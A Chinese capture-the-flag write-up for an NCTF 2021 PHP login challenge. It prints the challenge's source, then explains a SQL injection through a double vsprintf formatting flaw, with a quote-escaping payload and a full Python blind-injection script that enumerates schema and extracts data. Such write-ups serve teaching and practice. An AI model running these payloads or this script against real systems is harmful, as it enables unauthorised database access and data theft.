登陆界面。访问129.211.173.64:3080/www.zip
可以得到源码
config.php(这是用来连数据库的,没啥用,就不贴了)
login.php
<?php
include_once('config.php');
?>
<!DOCTYPE html>
<html>
<head>
<title>There is no absolutely safe system</title>
</head>
<body>
<?php
if (isset($_POST['password'])){
$query = db::prepare("SELECT * FROM `users` where password=md5(%s)", $_POST['password']);
if (isset($_POST['name'])){
$query = db::prepare($query . " and name=%s", $_POST['name']);
}
else{
$query = $query . " and name='benjaminEngel'";
}
$query = $query . " limit 1";
$result = db::commit($query);
if ($result->num_rows > 0){
die('NCTF{ez');
}
else{
die('Wrong name or password.');
}
}
else{?>
<form action="login.php" method="post">
<input name="name" id="name" placeholder="benjaminEngel" value=bejaminEngel disabled>
<input type="password" name="password" id="password" placeholder="Enter password">
<button type="submit">Submit</button>
</form>
<?php
}
?>
</body>
</html>
复制代码
DB.php
<?php
class DB{
private static $db = null;
public function __construct($db_host, $db_user, $db_pass, $db_database){
static::$db = new mysqli($db_host, $db_user, $db_pass, $db_database);
}
static public function buildMySQL($db_host, $db_user, $db_pass, $db_database)
{
return new DB($db_host, $db_user, $db_pass, $db_database);
}
public static function getInstance(){
return static::$db;
}
public static function connect_error(){
return static::$db->connect_errno;
}
public static function prepare($query, $args){
if (is_null($query)){
return;
}
if (strpos($query, '%') === false){
die('%s not included in query!');
return;
}
// get args
$args = func_get_args();
array_shift( $args );
$args_is_array = false;
if (is_array($args[0]) && count($args) == 1 ) {
$args = $args[0];
$args_is_array = true;
}
$count_format = substr_count($query, '%s');
if($count_format !== count($args)){
die('Wrong number of arguments!');
return;
}
// escape
foreach ($args as &$value){
$value = static::$db->real_escape_string($value);
}
// prepare
$query = str_replace("%s", "'%s'", $query);
$query = vsprintf($query, $args);
return $query;
}
public static function commit($query){
$res = static::$db->query($query);
if($res !== false){
return $res;
}
else{
die('Error in query.');
}
}
}
?>
复制代码
审计代码的逻辑,进行了两次格式化字符串,密码还用md5()包裹,而且每次都用单引号把%s闭合了,并且在替换%s前还用了real_escape_string($value)
进行转义。(盯着这几个安全函数几个小时差点哭了555)
好吧好吧,还是有注入点的。这里用到了vsprint语句。在w3school可以查到它的例子
<?php
$number = 9;
$str = "Beijing";
$txt = vsprintf("There are %u million bicycles in %s.",array($number,$str));
echo $txt;
?>
复制代码
也就是说,可以post数组来逃逸引号。先来看看正常的sql查询语句
SELECT * FROM `users` where password=md5(%s) and name=%s limit 1
其中两个%s就是post的账号和密码。
如果我们密码输入%s,name输入一个数组,第一个元素用来闭合md5并且注入再注释,第二个元素随便输,就能绕过了!
可以构造payload如下
name[0]=) or [bool] #&name[1]=a&password=%s
其中[bool]用来塞布尔值。
sql语句就会变为
SELECT * FROM `users` where password=md5() or [bool] #) and name=a limit 1
试一下postname[0]=) or 1=1 #&name[1]=a&password=%s
还有一半flag在数据库里边。用二分脚本跑盲注即可。这里有个坑,最后查details的时候表名要写成
`2021`.NcTF
其他任何形式都不行。脚本如下(当然不是我这个菜鸡写的啦)
import requests
#NCTF{3v3ryth1ng_not_fantast1c_:)}
#uname:admin
Ts = "NCTF{3v3ryth1ng_"
Fs = "Wrong"
url = "http://129.211.173.64:3080/login.php"
def SQL_injection(url) :
res = ""
for i in range(1,2000) :
left = 32
right = 128
mid = (left + right) // 2
while (left < right) :
payload_database = ")or(ord(substr((select(database())),%d,1))>%d)#" % (i, mid)
payload_all_database = ")or((ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1)))>%d)#" % (i, mid)
payload_table = ")or((ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1)))>%d)#" % (i, mid)
#4E635446 NcTF
payload_cloumn = ")or((ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x4E635446)),%d,1)))>%d)#" % (i, mid)
payload_info = ")or((ord(substr((select `fl@g` from `2021`.NcTF limit 0,1),%d,1)))>%d)#" % (i, mid)
#2021.NcTF fl@g
payload = payload_info
data = {"name[0]" : payload, "name[1]" : "SilentE", "password" : "12%s34"}
#urls = url + payload
resp = requests.post(url = url, data = data)
#print(resp.text)
if Ts in resp.text :
left = mid + 1
else :
right = mid
mid = (left + right) // 2
if (mid == 32) :
break
res += chr(mid)
print(res)
print(res)
if __name__ == "__main__" :
SQL_injection(url)
复制代码
近期评论